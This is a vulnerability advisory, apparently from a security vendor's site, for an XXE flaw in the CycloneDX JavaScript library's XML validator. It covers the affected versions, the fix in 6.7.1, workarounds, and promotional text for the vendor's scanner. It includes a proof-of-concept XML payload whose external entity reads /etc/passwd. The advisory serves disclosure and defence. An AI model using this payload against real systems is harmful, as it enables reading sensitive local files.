GHSA-38gf-rh2w-gmj7
HIGH@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
@cyclonedx/cyclonedx-libraryReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Impact
XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.
POC
const {
Spec: { Version },
Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');
const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
<components>
<component type="library">
<name>testing</name>
<version>1.337</version>
<licenses>
<license>
<id>&xxe;</id><!-- << XML external entity (XXE) injection -->
</license>
</licenses>
</component>
</components>
</bom>`;
// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
console.error('validation error', ve);
});
Patches
This issue was fixed in @cyclonedx/[email protected] .
Workarounds
Do not run the provided XML validator on untrusted inputs.
References
- issue was introduced via https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @cyclonedx/cyclonedx-library | ≥ 6.7.0&&< 6.7.1 | 6.7.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @cyclonedx/cyclonedx-library. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @cyclonedx/cyclonedx-library to 6.7.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-38gf-rh2w-gmj7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-38gf-rh2w-gmj7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-38gf-rh2w-gmj7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-38gf-rh2w-gmj7 in your dependencies?
O3 detects GHSA-38gf-rh2w-gmj7 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.